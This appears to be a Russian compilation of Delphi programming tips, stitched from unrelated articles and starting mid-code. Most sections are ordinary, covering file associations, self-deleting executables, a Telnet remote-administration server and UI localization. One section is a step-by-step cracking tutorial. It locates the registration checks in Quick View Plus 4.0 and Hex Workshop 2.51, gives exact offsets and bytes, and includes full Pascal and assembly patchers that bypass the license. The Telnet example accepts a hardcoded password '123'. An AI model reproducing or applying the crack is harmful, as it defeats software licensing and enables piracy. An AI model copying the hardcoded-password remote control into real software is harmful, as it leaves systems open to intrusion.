Result := False;
DispatchMessage(Msg);
end;
end;
function OnTheHour: Boolean;
begin
{ Это действительно проверяется в течение одной секунды }
{ (или меньше) для проверки наступления нового часа, }
{ когда нам необходимо запустить нашу задачу на выполнение }
Result := (GetTickCount mod
(1 {hr} * 60 {min} * 60 {sec} * 1000 {msec}) < 1000);
end;
const
filetocheck = 'c:\somedir\somefile.ext';
magicsize = 1000000;
var
f: file;
size: longint;
begin
{ проверка наступления нового часа с момента запуска системы }
while keeprunning do
begin
{ проверяем наступление часа }
if onthehour then
begin
{ открываем файл с размером записи 1 байт }
{ и проверяем его размер }
assignfile(f, filetocheck);
reset(f, 1);
size := filesize(f);
closefile(f);
{ теперь проверяем изменение размера файла }
if (size >= MAGICSIZE) then
begin
{ Предпринимаем какие-то действия }
end;
{ Теперь "сидим" в этом участке кода }
{ и ожидаем очередного часа, здесь можно }
{ предусмотреть выход из программы или иное действие }
while (KeepRunning and OnTheHour) do
{ничего};
end;
end;
end.
|
Взлом Windows-приложений.
| Если у тебя на компьютере постоянно живут вирусы, то еще не известно, кому в первую очередь надо лечиться. |
Введение
Для начала я научу вас пользоваться W32Dasm. Я не хочу вам давать детальную помощь, как делать краки, но я могу научить вас самим добывать себе умения и навыки взлома. Когда вы используете W32Dasm, знайте, что он не даст вам серийные номера или коды, он лишь покажет путь, где находится место, где можно эти номера вводить. То, что я делаю каждый день при взломе программ, будет описано в этом справочнике, шаг за шагом.
Инструменты
Из инструментов взлома вам нужно следующее:
W32Dasm 8.5 или боолее позднюю версию, Hacker's View 5.24, Norton Commander (я позднее объясню, почему я его использую). Turbo Pascal 7.0 TASM и TLINK 3.0Как кракнуть Quick View Plus 4.0
Запустите ORDER32.EXE Кликните на $49 Single User License (вы можете кликнуть и на $59), затем ACCEPT, потом UNLOCK BY PHONE. Введите любой код для получения сообщения об ошибке (вы должны записать это сообщение), потом выйдите из программы, кликнув на CANCEL. Запустите Norton Comander, перейдите в директорию QVP. Скопируйте ORDER32.EXE в ORDER32.EXX (для сохранности), а затем скопируйте ORDER32.EXE в 1.EXE (для использования в W32Dasm). Запустите W32Dasm и раздессимблируйте 1.EXE. После этого, кликните на STRING DATA REFERENCE, найдите там сообщение "You have entered an incorrect code.Please check your entry" (вы должны помнить,что это было сообщение об ошибке) и дважды щелкните мышью по нему. Закройте SDR окно. Вы должны увидеть сообщение:
* Possible reference to String Resource ID=00041: "You have entered... :004049F8 6A29 push 00000029 :004049FA FF353CCE4000 push dword ptr [0040CE3C] |
:004049CD 755A jne 00404A29 * Possible reference to String Resource ID=00032: "You must select... :004049CF 6A20 push 00000020 ... ... * Possible reference to String Resource ID=00040: "Unlock Error" |
004049CD 755A jne 00404A29, вы должны увидеть Offset address внизу на статусной строке типа @Offset 00003DCDh Это место, где вы можете внести изменения в ORDER32.EXE. |
00003DCD: 755A jne 000003E29 00003DCF: 6A20 push 020 00003DD1: FF15 call w,[di] |
Как кракнуть Hex WorkShop 2.51
Запустите HWORKS32.EXE Кликните на HELP, About HEX Wo.. Введите любой код, чтобы получить сообщение об ошибке (вы должны записать это сообщение) и выйдите из программы. Запустите Norton Commander, перейдите в директорию HWS. Скопируйте файл HWORKS32.EXE в HWORKS32.EXX (для сохранности) и скопируйте файл HWORKS32.EXE в 1.EXE (для использования в W32Dasm). Запустите W32Dasm и "разберите" 1.EXE. После этого, нажмите мышью на FIND TEXT, введите "You have entered an" (вы должны помнить, что это сообщение об ошибочно введенном серийном номере) и найдите соответствующую строку (вы не сможете сделать это в SDR-окне !) Вы должны увидеть следующую строку:
Name: DialogID_0075, # of Controls=003, Caption: "Registration Unsucce.. 001-ControlID:FFFF, Control Class:""Control Text:"You have entered an.. 002-ControlID:FFFF, Control Class:""Control Text:"Please confirm you.. |
* Possible reference to DialogID_0075 :0041E233 6A75 push 00000075 :0041E235 8D8D10FFFFFF lea ecx, dword ptr [ebp+FF10] |
:0041E145 837DEC00 cmp dword ptr [ebp-14], 00000000 :0041E149 0F8479000000 je 0041E1C8 :0041E14F 8B8DFCFEFFFF mov ecx, dword ptr [ebp+FEFC] |
:0041E149 0F8479000000 je 0041E1C8. |
@Offset0001D549h. |
0001D549: 0F847900 je 00001D5C6 ---------- (1) 0001D54D: 0000 add [bx][si],al 0001D54F: 8B8DFCFE mov cx,[di][0FEFC] |
* Possible reference to DialogID_0075 :00430ADD 6A75 push 00000075 :00430ADF 8D8D10FFFFFF lea ecx, dword ptr [ebp+FF10] |
:004309EF 837DEC00 cmp dword ptr [ebp-14], 00000000 :004309F3 0F8479000000 je 00430A72 :004309F9 8B8DFCFEFFFF mov ecx, dword ptr [ebp+FEFC] |
004309F3 0F8479000000 je 00430A72. |
@Offset0002FDF3h (оффсетный адрес). |
0002FDF3: 0F847900 je 00001D5C6 ---------- (1) 0002FDF7: 0000 add [bx][si],al 0002FDF9: 8B8DFCFE mov cx,[di][0FEFC] |
Как сделать собственный патч
Здесь напечатан исходный код на Паскале :
uses Crt;
const
A: array[1..1] of record {<-------- 1 byte to be patched}
A: Longint;
B: Byte;
end =
((A: $3DCD; B: $EB));
{<--------------- offset "3DCD" and byte "EB" to be changed}
var
Ch: Char;
I: Byte;
F: file;
FN: file of byte;
Size: longint;
begin
Writeln('TKC''s Little Patch');
writeln('Crack for QVP 4.0 by TKC/PC ''97');
Assign(F, 'ORDER32.EXE'); {<-------------- filename to be patched}
{$I-}Reset(F, 1);
{$I+}
if IOResult <> 0 then
begin
writeln('File not found!');
halt(1);
end;
for I := 1 to 1 do {<---------------------- 1 byte to be patched}
begin
Seek(F, A[I].A);
Ch := Char(A[I].B);
Blockwrite(F, Ch, 1);
end;
Writeln('File successfully patched!');
end.
|
Исходник на ассемблере (для изучающих ассемблер):
DOSSEG .MODEL SMALL .STACK 500h .DATA .CODE PatchL EQU 6 Buffer Db PatchL Dup(1) handle dw ? intro db "TKC's Little Patch",0dh,0ah,"Crack for QVP 4.0 by TKC/PC '97$" FileName db "ORDER32.EXE",0 ; notfound db 0dh,0ah,"File not found!$" cracked db 0dh,0ah,"File successfully patched. Enjoy!$" Cant db 0dh,0ah,"Can't write to file.$" Done db "File has been made.$" String db 0EBh,0 ; START: mov ax,cs mov ds,ax mov dx,offset intro ;point to the time prompt mov ah,9 ;DOS: print string int 21h jmp openfile openfile: mov ax,cs mov ds,ax mov ax,3d02h mov dx,offset FileName int 21h mov handle,ax cmp ax,02h je filedontexist jmp write filedontexist: mov ax,cs mov ds,ax mov dx,offset notfound mov ah,9 ;DOS: print string int 21h ;display the time prompt jmp exit Write: mov bx,handle mov cx,0000h mov dx,3DCDh ; mov ax,4200h int 21h mov cx,patchl mov dx,offset String mov ah,40h mov cx,01h int 21h mov ax,cs mov ds,ax mov dx,offset cracked mov ah,9 ;DOS: print string int 21h ;display the time prompt jmp Exit Exit: mov ah,3eh int 21h mov ax,4c00h int 21h END START |
Заключительные слова
Здесь несколько важных функций, используемых для крэкинга :
Hex: Asm: Means 75 or 0F85 jne jump if not equal 74 or 0F84 je jump if equal EB jmp jump directly to 90 nop no operation 77 or 0F87 ja jump if above 0F86 jna jump if not above 0F83 jae jump if above or equal 0F82 jnae jump if not above or equal 0F82 jb jump if below 0F83 jnb jump if not below 0F86 jbe jump if below or equal 0F87 jnbe jump if not below or equal 0F8F jg jump if greater 0F8E jng jump if not greater 0F8D jge jump if greater or equal 0F8C jnge jump if not greater or equal 0F8C jl jump if less 0F8D jnl jump if not less 0F8E jle jump if less or equal 0F8F jnle jump if not less or equal |
Ваши небольшие знания по Ассемберу, вам, естественно, помогут, и они вам потребуются для использования Soft-ICE. Кроме того, вы сможете кракать эти куски с помощью W32Dasm как маньяк :-) Вы не сможете дизассемблировать программы на Visual Basic, для него вам понадобятся специальные декомпилеры, но с помощью SoftIce'a поломать их можно и без декомпилятора.
Удачи !
Автоматическое определение занятости приложения.
Оформил: DeeCo
Автор: Митронов Станислав.
Компонент: TBusyDetector V0.1b Описание: Компонент для автоматического определения занятости приложения с целью развлечь пользователя при выполнении тяжелых операций, приводящих к зависанию GUI (пользовательского интерфейса). Интерфейс:property Enabled: Boolean; вкл/выкл слежения property Interval: Cardinal; интервал (в мсек) проверки занятости property Caption: TCaption; заголовок окна property Text: TCaption; текст окна property Stated: Boolean; вкл/выкл строки состояние property State: TCaption; текст сотсояние property Progressed: Boolean; вкл/выкл полосу прогресса property Min: Integer; property Max: Integer; property Position: Integer; позиция в полосе прогресса property Step: Integer; property OnGetWindowClass: TBusyWindowClassEvent; получение класса окна property OnBusyDetect: TNotifyEvent; событие на обнаружения занятости property OnIdleDetect: TNotifyEvent; конец занятостиПоказания: Delphi 3 и выше; OS Win9X/WinNTX; Руки2X; Халява. Комментарий: Очень часто, особенно в связи с одно-потоковой архитектурой приложения в Delphi, требуется вставлять хоть какие то предупреждения для пользователя перед и в процессе выполнения тяжелых операций таких как подключения к базе, массовые математические вычисления и т.п. но так как на это нет времени да и не во все влезешь я взялся в своем проекте решить эту проблему "глобально". Компонент сырой, требует серьезной доработки (например, если компилить в режиме рантайм пакетов - то ресурсы с анимацией недоступны), так что жду критики, пожеланий и конкретных предложений по email. Скачать компонент: BusyDetect.zip (15.7K)
Как получить имя программы, с которой ассоциировано то или иное расширение.
| Автор: Олег Кулабухов |
| Юзер подходит к программисту и спрашивает: - У меня почемуто пейджмейкеровский файл в ворде не открывается. - И не откроется, там же расширения разные. - Так я его переименовал. |
uses
{$IFDEF WIN32}
Registry; {We will get it from the registry}
{$ELSE}
IniFiles; {We will get it from the win.ini file}
{$ENDIF}
{$IFNDEF WIN32}
const
MAX_PATH = 144;
{$ENDIF}
function GetProgramAssociation(Ext: string): string;
var
{$IFDEF WIN32}
reg: TRegistry;
s: string;
{$ELSE}
WinIni: TIniFile;
WinIniFileName: array[0..MAX_PATH] of char;
s: string;
{$ENDIF}
begin
{$IFDEF WIN32}
s := '';
reg := TRegistry.Create;
reg.RootKey := HKEY_CLASSES_ROOT;
if reg.OpenKey('.' + ext + '\shell\open\command',
false) <> false then
begin
{The open command has been found}
s := reg.ReadString('');
reg.CloseKey;
end
else
begin
{perhaps thier is a system file pointer}
if reg.OpenKey('.' + ext,
false) <> false then
begin
s := reg.ReadString('');
reg.CloseKey;
if s <> '' then
begin
{A system file pointer was found}
if reg.OpenKey(s + '\shell\open\command',
false) <> false then
{The open command has been found}
s := reg.ReadString('');
reg.CloseKey;
end;
end;
end;
{Delete any command line, quotes and spaces}
if Pos('%', s) > 0 then
Delete(s, Pos('%', s), length(s));
if ((length(s) > 0) and
(s[1] = '"')) then
Delete(s, 1, 1);
if ((length(s) > 0) and
(s[length(s)] = '"')) then
Delete(s, Length(s), 1);
while ((length(s) > 0) and
((s[length(s)] = #32) or
(s[length(s)] = '"'))) do
Delete(s, Length(s), 1);
{$ELSE}
GetWindowsDirectory(WinIniFileName, sizeof(WinIniFileName));
StrCat(WinIniFileName, '\win.ini');
WinIni := TIniFile.Create(WinIniFileName);
s := WinIni.ReadString('Extensions',
ext,
'');
WinIni.Free;
{Delete any command line}
if Pos(' ^', s) > 0 then
Delete(s, Pos(' ^', s), length(s));
{$ENDIF}
result := s;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(GetProgramAssociation('gif'));
end;
|
Как программе удалить саму себя.
| Если вы решили удалить Windows, сделайте это медленно с удовольствием, побайтно... |
uses
Windows, SysUtils;
procedure DeleteMe;
var
BatchFile: TextFile;
BatchFileName: string;
ProcessInfo: TProcessInformation;
StartUpInfo: TStartupInfo;
begin
{ создаём бат-файл в директории приложения }
BatchFileName := ExtractFilePath(ParamStr(0)) + '$$336699.bat';
{ открываем и записываем в файл }
AssignFile(BatchFile, BatchFileName);
Rewrite(BatchFile);
Writeln(BatchFile, ':try');
Writeln(BatchFile, 'del "' + ParamStr(0) + '"');
Writeln(BatchFile,
'if exist "' + ParamStr(0) + '"' + ' goto try');
Writeln(BatchFile, 'del "' + BatchFileName + '"');
CloseFile(BatchFile);
FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
StartUpInfo.wShowWindow := SW_HIDE;
if CreateProcess(nil, PChar(BatchFileName), nil, nil,
False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
ProcessInfo) then
begin
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
end;
end;
|
А вот тот же способ, но немного модифицированный:
program delete2; uses SysUtils, windows; var BatchFile: TextFile; BatchFileName: string; TM: Cardinal; TempMem: PChar; begin BatchFileName:=ExtractFilePath(ParamStr(0))+ '$$336699.bat'; AssignFile(BatchFile, BatchFileName); Rewrite(BatchFile); Writeln(BatchFile,':try'); Writeln(BatchFile,'del "' + ParamStr(0) + '"'); Writeln(BatchFile,'if exist "' + ParamStr(0) + '" goto try'); Writeln(BatchFile,'del "' + BatchFileName + '"'); CloseFile(BatchFile); TM:=70; GetMem (TempMem,TM); GetShortPathName (pchar(BatchFileName), TempMem, TM); BatchFileName:=TempMem; FreeMem(TempMem); winexec(Pchar(BatchFileName),sw_hide); halt; end. |
Как программе удалить саму себя 2.
| Если ваш руководитель Заблуждаясь утверждает, Что в его машине вирус И он вами занесен, То когда он отлучится, Выньте из нее винчестер И в кастрюле кипятите, Пока вирус не помрет!!! |
procedure DeleteSelf;
var
module: HModule;
buf: array [0..MAX_PATH - 1] of char;
p: ULong;
hKrnl32: HModule;
pExitProcess,
pDeleteFile,
pFreeLibrary: pointer;
begin
module := GetModuleHandle(nil);
GetModuleFileName(module, buf, SizeOf(buf));
CloseHandle(THandle(4));
p := ULONG(module) + 1;
hKrnl32 := GetModuleHandle('kernel32');
pExitProcess := GetProcAddress(hKrnl32, 'ExitProcess');
pDeleteFile := GetProcAddress(hKrnl32, 'DeleteFileA');
pFreeLibrary := GetProcAddress(hKrnl32, 'FreeLibrary');
asm
lea eax, buf
push 0
push 0
push eax
push pExitProcess
push p
push pDeleteFile
push pFreeLibrary
ret
end;
end;
|
Управление приложением через Telnet.
| Надпись на могиле немодернизированного компьютера 276: "Он не мог войти в интернет". |
Итак, начнем с главного - почему для удаленного администрирования своей программы следует использовать именно Telnet? Ответ на этот вопрос достаточно прост:
Утилита Telnet есть на любом компьютере с операционной системой Windows, UNIX, AIX и т.п., поэтому ее не требуется писать или устанавливать Telnet является штатным средством удаленного администрирования. Telnet подразумевает текстовый обмен, поэтому его очень легко поддерживать в своей программе Возможностей текстового терминала как правило достаточно для управления программой, ее настройки и администрированияРассмотрим немного теории. Утилиту Telnet легче всего запустить через Start->Run (Пуск -> Выполнить). После запуска необходимо произвести соединение с удаленным хостом, для чего выполняется используется меню "Connect->Remote System". При этом выводится меню соединения, в котором необходимо указать три параметра: хост, порт и тип терминала. В качестве хоста указывается имя удаленного компьютера (или его IP адрес), порт можно задать двумя путями - выбором/вводом символического имени (например, telnet), или вводом номера порта. Мы будем пользоваться вторым путем, т.е. будем использовать нестандартные номера портов. Тип терминала оставим vt100.
Утилита Telnet поддерживает параметры командой строки:
telnet [remote_host] [port] |
Где.
remote_host представляет собой имя или IP адрес удаленной машины. port номер порта. Если соединение идет по стандартному порту, то этот параметр опускается. Пример:
telnet zaitsevov или telnet zaitsevov 5000 |
Протокол Telnet очень прост - сначала устанавливается TCP/IP соединение с удаленной машиной. Затем, когда пользователь вводит символ, происходит его передача удаленному хосту. Для простоты будем называть его сервером.
Далее возможно два режима работы - с локальным эхом или без локального эха (режим по умолчанию). Если работа ведется с локальным эхом, то каждый вводимый пользователем символ немедленно отображается на экране. При работе без локального эха сервер обязан создавать эхо, дублирую принимаемые данные клиенту. Это позволят тестировать канал (каждый символ проходит по кругу) и организовывать ввод данных без эха (например, для ввода пароля). Мои примеры ориентированы на работу без локального эха.
При приеме любой информации от сервера утилита Telnet немедленно отображает его на экране. Это позволяет серверу организовывать эхо и выводить любую информацию в текстовом виде. При этом поддерживатся некоторые управляющие коды, например, код "забой", стирающий один символ.
Итак, приступим к разработке приложения. Создадим пустой проект и поместим на форму компонент ServerSocket1 типа TServerSocket. Зададим ему порт, например 5000. Напоминаю, что:
номер порта должен быть нестандартным, чтобы не пересекаться с другими программами. При этом желательно считывать его из INI файла, что даст возможность настройки при необходимости. Свойство Active должно быть false и устанавливаться в true при запуске программы. Иначе приложение свалится при попытке запуска второй копии или при отсутствии сети. Установку Active := true следует делать в блоке try ... exceptИтак, в обработчике OnCreate формы пишем:
begin
try
ServerSocket1.Active := true;
except
ShowMessage('Ошибки при активации ServerSocket');
end;
end;
|
Далее необходимо научиться определять моменты соединения и отключения клиента. Для этого следует создать обработчики OnClientConnect и OnClientDisconnect. Сразу отмечу, что при подключении клиента обычно принято выдывать ему заголовок, ообщающий о том, что он соединился с программой *** версии NN. С учетом этого обработчик OnClientConnect будет иметь вид:
procedure TMain.ServerSocket1ClientConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
Socket.SendText('Connected. Программа Telnet1 Example на проводе.'+#$0D+#$0A);
Socket.SendText('Enter password : ');
Connected := false;
Memo1.Lines.Add('Произошло соединение с пользователем');
end;
|
При этом я хочу подчеркнуть особенность - нормально поддерживается одно соединение, для нескольких необходимы некоторые усложнения и мых их пока опустим.
Особенности:
Выводить информацию при соединении желательно на английском языке. Это позволяет избежать ситуации, когда на компьтере администратора не окажется поддержки русского языка и Telnet выведет ему абракадабру. У меня это наблюдается постоянно на английской NT 4 - приходится каждый раз лазить в настройки Telnet и задавать русский CharSet. При соединении следует спросить пароль. Иначе каждый, кому нечего делать, залезет в программу и будет там ковыряться (из практики - преценденты были).Переменная Connected отмечает, что пользователь еще не соединился с программой (т.е. не провел свою идентификацию). Рассмотрим сразу обработчик OnClientDisconnect, он еще проще:
// Поддержка связи по TCP/IP для удаленного конфигурирования - действия при отключении
procedure TMain.ServerSocket1ClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);
begin
Connected := false;
Memo1.Lines.Add('Соединение разорвано');
end;
|
Итак, теперь настало время для самого интересного - написания обработчика OnClientRead. Этот обработчик вызывается всякий раз, когда от клиента приходят данные. Т.е. в свете приведенных выше теоретических замечаний это будет происходить при вводе каждого отдельного символа. Задачи обработчика:
Создавать (при необходимости) эхо для всех принимаемых символов. Очевидно, что при вводе паролей эхо создавать не нужно. При созании эха необходимо учитывать, что символ с кодом FF (буква "я") должен повторяться дважды, иначе он будет погложен Telnet - ом как служебный и не отобразится Накапливать вводимые символы, ожидая прихода признака конца команы. Как правило, признаком конца команды считают перевод код строки (следует заметить, что тут разработчик сам себе стандарт, но отклоняться от общепринятых правил не рекомендуется. Для накопления принимаемой информации стоит завести буферную переменную, в моем случае она будет называться TelnetS. При получении символа с кодом 08h ("BackSpace") необходимо не помещать ее в буфер, а стереть из буфера последний символ. Но в виде эха его отправить необходимо, т.к. это приведет к стиранию символа на экране Telnet (при подавлении эха он останется на экране, но сотрется в буфере программы, что приведет к путанице). При обнаружении символа перевода строки (код $0D) следует считать содержимое буфера командой и интерпретировать. Как - это отдельный разговорВсе вышеописанное реализует примерно следующий код:
// Поддержка связи по TCP/IP для удаленного конфигурирования - действия при получении данных
procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
s, st: string;
begin
s := Socket.ReceiveText;
// Это код перевода строки ? Если да, то выполняем команду и передаем ее ответ клиенту
if ord(s[1]) = $0D then
begin
st := ExecuteCMD(TelnetS);
if st <> '' then
st := #$0D + #$0A + st;
st := st + #$0D + #$0A + '>';
TelnetSendText(Socket, st);
TelnetS := '';
exit;
end;
// Это код клавиши BackSpace. Если да, то передадим его клиенту
// и удалим последний символ из буфера
if ord(s[1]) = $08 then
begin
Delete(TelnetS, length(TelnetS), 1);
TelnetSendText(Socket, s);
exit;
end;
// Добавим очередной символ к буферу
TelnetS := TelnetS + s;
// Передадим его клиенту для организации эха
if connected then
TelnetSendText(Socket, s);
end;
|
Как легко заметить, приведенный выше код реализует эхо, обрабатывает BackSpace и дожидается ввода команды, считая код $OD (Enter) признаком завершения ввода команды. При обнаружении этого кода вызывается функция пользователя ExecuteCMD, которая должна разобрать и проанализировать команду, выполнить ее и вернуть (при необходомости) ответ пользователю. Эта же функция занимается проверкой вводимого пользователем пароля. Так ка передача ответа/эха имеет некоторые особенности, например, необходимость удвоения символа с кодом FF и подавления передачи для реализации невидимого ввода, имеет смысл выполнить ее в виде отдельной функции:
// Передача ответа/эха клиенту
function TForm1.TelnetSendText(Socket: TCustomWinSocket; AText: string): boolean;
var
i: integer;
St: string;
begin
Result := false;
if not(connected) then
exit;
St := '';
for i := 1 to length(AText) do
if AText[i] <> #$FF then
st := st + AText[i]
else
st := st + #$FF + #$FF;
Socket.SendText(st);
end;
// В моем примере функция ExecuteCMD имеет вид:
// Интерретатор команд
function TForm1.ExecuteCMD(ACmd: string): string;
var
UCmd, Params: string;
begin
Result := '';
Memo1.Lines.Add('Выполняется: '+ACmd);
if not(connected) then
begin
if UpperCase(ACmd) = '123' then
begin
Connected := true;
Result := 'Пользователь идентифицирован!';
end;
exit;
end;
// Выделение команды
UCmd := ACmd;
Params := '';
if pos(' ', UCmd) > 0 then
begin
Params := Copy(UCmd, pos(' ', UCmd)+1, Length(UCmd));
UCmd := Copy(UCmd, 1, pos(' ', UCmd)-1);
end;
UCmd := Trim(UpperCase(UCMD));
Memo1.Lines.Add('Выделена команда: '+UCmd);
// ? или HLP или HELP - вывод справки
if (UCmd = '?') or (UCmd = 'HLP') or (UCmd = 'HELP') then
begin
Result :=
'Краткая справка по командам Telnet интерфейса'+CRLF+
' ?, HLP, HELP - вызов справки'+CRLF+
' EXIT - завершение работы по Telnen интерфейсу'+CRLF+
' HALT - немедленный останов программы'+CRLF+
' VER - версия программы'+CRLF+
' MESS - вывод сообщения для пользователя'+CRLF+
' INP - вывод сообщения для пользователя и возврат его ответа';
exit;
end;
if (UCmd = 'EXIT') then
begin
ServerSocket1.Socket.Connections[0].Close;
exit;
end;
if (UCmd = 'VER') then
begin
Result := 'Версия 1.00 от 27.01.2001 (C) Зайцев Олег';
exit;
end;
if (UCmd = 'HALT') then
halt;
if (UCmd = 'MESS') then
begin
ShowMessage(Params);
exit;
end;
if (UCmd = 'INP') then
begin
Result := InputBox(Params,'Введите ответ', '');
exit;
end;
Result := 'Неизвестная команда ' + ACmd;
end;
|
Реальная система команд естественно определяется разработчиком, но рекомендуется предусмотреть следующие команды:
?, HLP, HELP для вывода справочной информации (практика показала, что при поддерке 20-30 команд больше половины забываются за месяц) EXIT - завершение обменаИ, наконец, в завершении следует отметить одну особенность - пользователь может завершить обмен корректно (путем ввода команды EXIT (если таковая поддерживается) или выбором опции "Отключить" в Telnet; и некорректно - путем закрытия Telnet во время обмена. В этом случае в программе будет ошибка сокета 10054. Ее имеет смысл поймать и подавить при помощи обработчика OnClientError следующего вида:
procedure TForm1.ServerSocket1ClientError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
// Обработка события "разрыв соединения"
if ErrorCode = 10054 then
begin
Socket.Close;
ErrorCode := 0;
end;
end;
|
И в завершении хочется сказать, что подобная система внедрена в несколько моих программ, испрользуемых в ОАО Смоленскэнерго и отлично себя зарекомендовала, т.к. предприятие большое и возможность удаленной настройки/управления в ряде случаев освобождает разработчика от ненужной беготни.
Как получить путь запущенного приложения.
Для этого используется функция ExtractFilePath. Вот примеры её использования:
MessageDlg('program path = ' + ExtractFilePath(Application.ExeName,
mtInformation, [mbOk], 0);
|
Или.
function ApplicationPath: string; begin Result := ExtractFilePath(ParamStr(0)); end; |
Как отследить переход фокуса в приложении.
| Во всех странах мира люди хорошо знают и широко используют Windows, и только русские говорят, что он х##вый. Потому что только русские хорошо знают и широко используют это слово. |
procedure TForm1.AppControlChange(Sender: TObject);
begin
if Sender is TScreen then
Caption := TScreen(Sender).ActiveForm.ActiveControl.name;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Screen.OnActiveControlChange := AppControlChange;
end;
|
TApplication. Проблемы с HelpCommand в Delphi6.
Автор: Александр Бесхлебный Описание: Если для формы включить biHelp в BorderIcons, то при вызове контекстной справки (при нажатии F1) должно появляться всплывающее окно. Такое поведение наблюдается в приложениях, созданных в Delphi5 и более ранних версиях. При тех же условиях в приложениях, созданных в Delphi6, открывается нормальное окно справочной системы Windows. Анализ: Видимо, для независимости от ОС была переработана система вызова справки. Если в Delphi5 в методе TApplication.InvokeHelp справочная система Windows вызывалась напрямую через WinHelp, то в Delphi6 вызывается метод Hook объекта, реализующего интерфейс IHelpSystem (свойство TApplication.HelpSystem). Таким объектом является объект класса THelpManager, описанный в файле ..\Source\Rtl\Common\HelpIntfs.pas. При вызове его метода Hook с параметром Command = HELP_CONTEXTPOPUP вызывается метод ShowContextHelp, как и в случае когда Command = HELP_CONTEXT. Если проследить дальнейшие вызовы, то будет видно, что в конце концов вызывается WinHelp с параметром Command = HELP_CONTEXT. ТИПОВЫЕ РЕШЕНИЯ. Вариант 1. Самостоятельно обрабатывать событие TApplication.OnHelp.Пример кода:
function TForm1.AppHelp(Command: Word; Data: Longint; var CallHelp:
Boolean): Boolean;
begin
Result := True;
if Command = HELP_CONTEXTPOPUP then
begin
WinHelp(Handle, PChar(Application.HelpFile), Command, Data);
CallHelp := False;
end;
end;
function TForm1.FormCreate(Sender: TObject);
begin
Application.OnHelp := AppHelp;
end;
|
Чтобы не писать в каждом приложении предыдущий код, необходимо подправить метод THelpManager.Hook в файле HelpIntfs.pas и закомментировать следующий участок:
function THelpManager.Hook ... case Command of ... // HELP_CONTEXTPOPUP: // begin // ShowContextHelp(Data, HelpFile); // end; ... |
Скачать тест и патч StoneTest_30.zip (8.5k).
Создание приложения наподобие MS Outlook.
| Outlook Express: "Ваше сообщение не может быть отправлено, так как работник ФСБ, проверяющий вашу почту временно отсутствует!" |
У Вас возникла необходимость создать многооконное приложение, но не хочется захламлять экран большим количеством окошек ? Создайте формы как обычно, но в каждой форме, за исключением основной, установите BorderStyle=bsNone. Затем на основную форму перетащите панель которая будет управлять заполнением Ваших форм данными и полями ввода. В Основной форме нужно добавить примерно такой код:
AcXxxxx - это действие, которое будет выполняться при нажатии на элемент (пункт меню, кнопка, акселератор и т.д.) ассоциированный с этим действием через свойство Action.
private
// используется для заполнения всего экрана
procedure WMSettingChange(var Msg: TMessage); message WM_SETTINGCHANGE;
public
ActiveDetailForm: TForm; // Форма, которая активна в данный момент
procedure SetActiveDetailForm(F: TForm; ParentControl: TWinControl);
end;
var
frmIMMain: TfrmIMMain;
implementation
uses
imdata, imSoftL, imSuppl, imEqDet, imDesk, imSpareP, imCateg,
imLocL, imUserL, imEqList, imEqByUsr, imImpBlb, imSftLic, imSupL,
imEqDetR, imRptPrm, imdmRep, imSftLicRepPrm, imSparePR, imSparePPrm,
imSftDetR, imSoftDetRPrmDlg;
{$R *.DFM}
function GetWindowsWorkArea: TRect;
begin
SystemParametersInfo(SPI_GETWORKAREA, 0, @Result, 0);
end;
procedure TfrmIMMain.WMSettingChange( var Msg: TMessage);
var
R: TRect;
begin
if (Msg.WParam=SPI_SETWORKAREA) then
begin
R:=GetWindowsWorkArea;
SetBounds(R.Left, R.Top, R.Right-R.Left, R.Bottom-R.Top);
end;
Msg.Result:=0;
end;
procedure TfrmIMMain.FormCreate(Sender: TObject);
var
R: TRect;
begin
// заполняем весь экран...
R:=GetWindowsWorkArea;
SetBounds(R.Left, R.Top, R.Right-R.Left, R.Bottom-R.Top);
end;
// показываем форму списка Software
procedure TfrmIMMain.acSoftwareListExecute(Sender: TObject);
begin
if (Sender is TAction) then
begin
(Sender as TAction).Checked:=True;
fcbSoftList.Down:=True;
end;
//paWorkArea это панель, которая использется, как управляющая для форм
SetActiveDetailForm(frmIMSoftList, paWorkArea);
end;
// показываем форму "Оборудование"...
procedure TfrmIMMain.acEquipmentDetailsExecute(Sender: TObject);
begin
if (Sender is TAction) then
begin
(Sender as TAction).Checked:=True;
fcbEqDet.Down:=True;
end;
SetActiveDetailForm(frmIMEqDet, paWorkArea);
end;
// устанавливаем активную форму, чтобы выглядело как в MS outlook.......
// ParentControl это TPanel, но это может быть любой оконный элемент
// управления (который имеет оконное свойство Handle)
procedure TfrmIMMain.SetActiveDetailForm(F: TForm; ParentControl:
TWinControl);
begin
if ActiveDetailForm<>F then
begin
if Assigned(ActiveDetailForm) then
ActiveDetailForm.Hide;
//следующие две линии делают то, что нам нужно...
F.Parent:=ParentControl;
F.Align:=alClient;
ActiveDetailForm:=F;
F.Show;
end;
end;
procedure TfrmIMMain.FormActivate(Sender: TObject);
begin
//устанавливаем форму по умолчанию при запуске.
if not Assigned(ActiveDetailForm) then
acEquipmentDetailsExecute(acEquipmentDetails);
end;
|
Как проводить локализацию своих приложений.
| Автор: Dmitry Kuzmenko |
| Несколько перлов из жизни российских компьютерных переводчиков: These ports are not supported - Эти порты не поддерживаются. Assign nickname to authority - Дать кличку авторитету. 3-character resource type - Трехбуквенный тип ресурса. |
В Delphi есть специальные механизмы, позволяющие приложение "переделать" на любой язык после компиляции. Для D3 надо посмотреть в хелпе, по-моему, internationalization или что-то в этом роде. Для D4 вообще все делается ОЧЕНЬ просто:
берется проект, компилируется тут-же не закрывая проект вызвается New|Resource DLL Wizard в нем указывается какие формы и модули должны подвергнуться переводу на другой язык. в результате работы Wizard появляется проект (!) с RC и DFM. Открываем формы, и переделываем все сообщения + размер (соотв. длине сообщений). Компилируем. В результате получается файл xxxxxxx.rus, где xxxxxxx - название исходного проекта. Запускаем xxxxxxx.exe. Видим некий не наш язык. Подкладываем в каталог с этим exe изготовленный файл xxxxxxx.rus, и запускаем exe повторно. Видим абсолютно ВЕЗДЕ переведенные сообщения.P.s. файл RUS можно подставлять и убирать по вкусу.
